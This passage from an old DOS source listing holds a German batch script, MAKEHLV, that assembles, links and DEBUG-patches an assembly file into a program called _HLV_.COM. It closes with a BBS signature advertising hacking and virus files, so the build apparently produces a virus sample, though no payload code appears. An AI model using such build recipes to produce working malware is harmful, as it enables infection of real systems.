  2201. ║ @cls                                                                         ║
  2202.  
  2203. ║ @if  %1.==.                     goto nopar                                   ║
  2204.  
  2205. ║ @if  not exist %1.asm           goto noasm                                   ║
  2206.  
  2207. ║ @ctty nul                                                                    ║
  2208.  
  2209. ║ @del %1.obj                                                                  ║
  2210.  
  2211. ║ @del %1.lst                                                                  ║
  2212.  
  2213. ║ @del %1.crf                                                                  ║
  2214.  
  2215. ║ @del %1.ref                                                                  ║
  2216.  
  2217. ║ @del %1.map                                                                  ║
  2218.  
  2219. ║ @del %1.exe                                                                  ║
  2220.  
  2221. ║ @del %1.bin                                                                  ║
  2222.  
  2223. ║ @del _HLV_.COM                                                               ║
  2224.  
  2225. ║ @ctty con                                                                    ║
  2226.  
  2227. ║ @masm /b63 %1,,%1,%1 %2 %3 %4;                                               ║
  2228.  
  2229. ║ @if not exist %1.obj            goto masm_err                                ║
  2230.  
  2231. ║ @link %1,,%1;                                                                ║
  2232.  
  2233. ║ @if not exist %1.exe            goto link_err                                ║
  2234.  
  2235. ║ @exe2bin %1;                                                                 ║
  2236.  
  2237. ║ @if not exist %1.bin            goto exe2_err                                ║
  2238.  
  2239. ║ @cref %1;                                                                    ║
  2240.  
  2241. ║ @if not exist %1.ref            goto cref_err                                ║
  2242.  
  2243. ║ @echo               >> %1.lst                                      ║
  2244.  
  2245. ║ @copy %1.lst+%1.map+%1.ref %1.t >  nul                                       ║
  2246.  
  2247. ║ @del %1.lst             >  nul                                         ║
  2248.  
  2249. ║ @ren %1.t %1.lst         >  nul                                         ║
  2250.  
  2251. ║ @del %1.obj             >  nul                                         ║
  2252.  
  2253. ║ @del %1.crf             >  nul                                         ║
  2254.  
  2255. ║ @del %1.ref             >  nul                                         ║
  2256.  
  2257. ║ @del %1.map             >  nul                                         ║
  2258.  
  2259. ║ @del %1.exe             >  nul                                         ║
  2260.  
  2261. ║ @echo n %1.bin              >  md.inp                                      ║
  2262.  
  2263. ║ @echo l 11f                 >> md.inp                                      ║
  2264.  
  2265. ║ @echo a 110                 >> md.inp                                      ║
  2266.  
  2267. ║ @echo add cx,20             >> md.inp                                      ║
  2268.  
  2269. ║ @echo.                      >> md.inp                                      ║
  2270.  
  2271. ║ @echo g =110 113            >> md.inp                                      ║
  2272.  
  2273. ║ @echo f 110 11e 20          >> md.inp                                      ║
  2274.  
  2275. ║ @echo e 110 '%1'            >> md.inp                                      ║
  2276.  
  2277. ║ @echo f 100 10f 90          >> md.inp                                      ║
  2278.  
  2279. ║ @echo a 100                 >> md.inp                                      ║
  2280.  
  2281. ║ @echo jmp 120               >> md.inp                                      ║
  2282.  
  2283. ║ @echo nop                   >> md.inp                                      ║
  2284.  
  2285. ║ @echo nop                   >> md.inp                                      ║
  2286.  
  2287. ║ @echo nop                   >> md.inp                                      ║
  2288.  
  2289. ║ @echo mov ax,4c00           >> md.inp                                      ║
  2290.  
  2291. ║ @echo int 21                >> md.inp                                      ║
  2292.  
  2293. ║ @echo.                      >> md.inp                                      ║
  2294.  
  2295. ║ @echo n _HLV_.com           >> md.inp                                      ║
  2296.  
  2297. ║ @echo w                     >> md.inp                                      ║
  2298.  
  2299. ║ @echo q                     >> md.inp                                      ║
  2300.  
  2301. ║ @debug                      <  md.inp  > nul                               ║
  2302.  
  2303. ║ @cls                                                                         ║
  2304.  
  2305. ║ @echo.                                                                       ║
  2306.  
  2307. ║ @echo   ╔════════════════════════════════════════════════════════════════╗   ║
  2308.  
  2309. ║ @echo   ║░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║   ║
  2310.  
  2311. ║ @echo   ║░░░░░░░MAKEHLV erfolgreich beendet, _HLV_.com wurde erstellt.░░░║   ║
  2312.  
  2313. ║ @echo   ║░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║   ║
  2314.  
  2315. ║ @echo   ╚════════════════════════════════════════════════════════════════╝   ║
  2316.  
  2317. ║ @echo.                                                                       ║
  2318.  
  2319. ║ @goto ende                                                                   ║
  2320.  
  2321. ║ :nopar                                                                       ║
  2322.  
  2323. ║ @echo FEHLER !    Mindestens ein Parameter ist erforderlich !                ║
  2324.  
  2325. ║ @echo Syntax :    MAKEHLV asmfile [switches]                                 ║
  2326.  
  2327. ║ @goto ende                                                                   ║
  2328.  
  2329. ║ :noasm                                                                       ║
  2330.  
  2331. ║ @echo FEHLER !    Die Datei %1.ASM ist nicht zu finden !                     ║
  2332.  
  2333. ║ @goto ende                                                                   ║
  2334.  
  2335. ║ :masm_err                                                                    ║
  2336.  
  2337. ║ @echo FEHLER !    %1.OBJ konnte nicht erstellt werden !                      ║
  2338.  
  2339. ║ @goto ende                                                                   ║
  2340.  
  2341. ║ :link_err                                                                    ║
  2342.  
  2343. ║ @echo FEHLER !    %1.EXE konnte nicht erstellt werden !                      ║
  2344.  
  2345. ║ @goto ende                                                                   ║
  2346.  
  2347. ║ :exe2_err                                                                    ║
  2348.  
  2349. ║ @echo FEHLER !    %1.BIN konnte nicht erstellt werden !                      ║
  2350.  
  2351. ║ @goto ende                                                                   ║
  2352.  
  2353. ║ :cref_err                                                                    ║
  2354.  
  2355. ║ @echo FEHLER !    %1.REF konnte nicht erstellt werden !                      ║
  2356.  
  2357. ║ :ende                                                                        ║
  2358.  
  2359. ║                                           ║
  2360.  
  2361. ╚══════════════════════════════════════════════════════════════════════════════╝
  2362.  
  2363. #
  2364.  
  2365. END
  2366.  
  2367.  
  2368.  
  2369. ;  ─────────────────────────────────────────────────────────────────────────
  2370.  
  2371. ;  ────────────────────> and Remember Don't Forget to Call <────────────────
  2372.  
  2373. ;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  2374.  
  2375. ;  ─────────────────────────────────────────────────────────────────────────
  2376.  
  2377.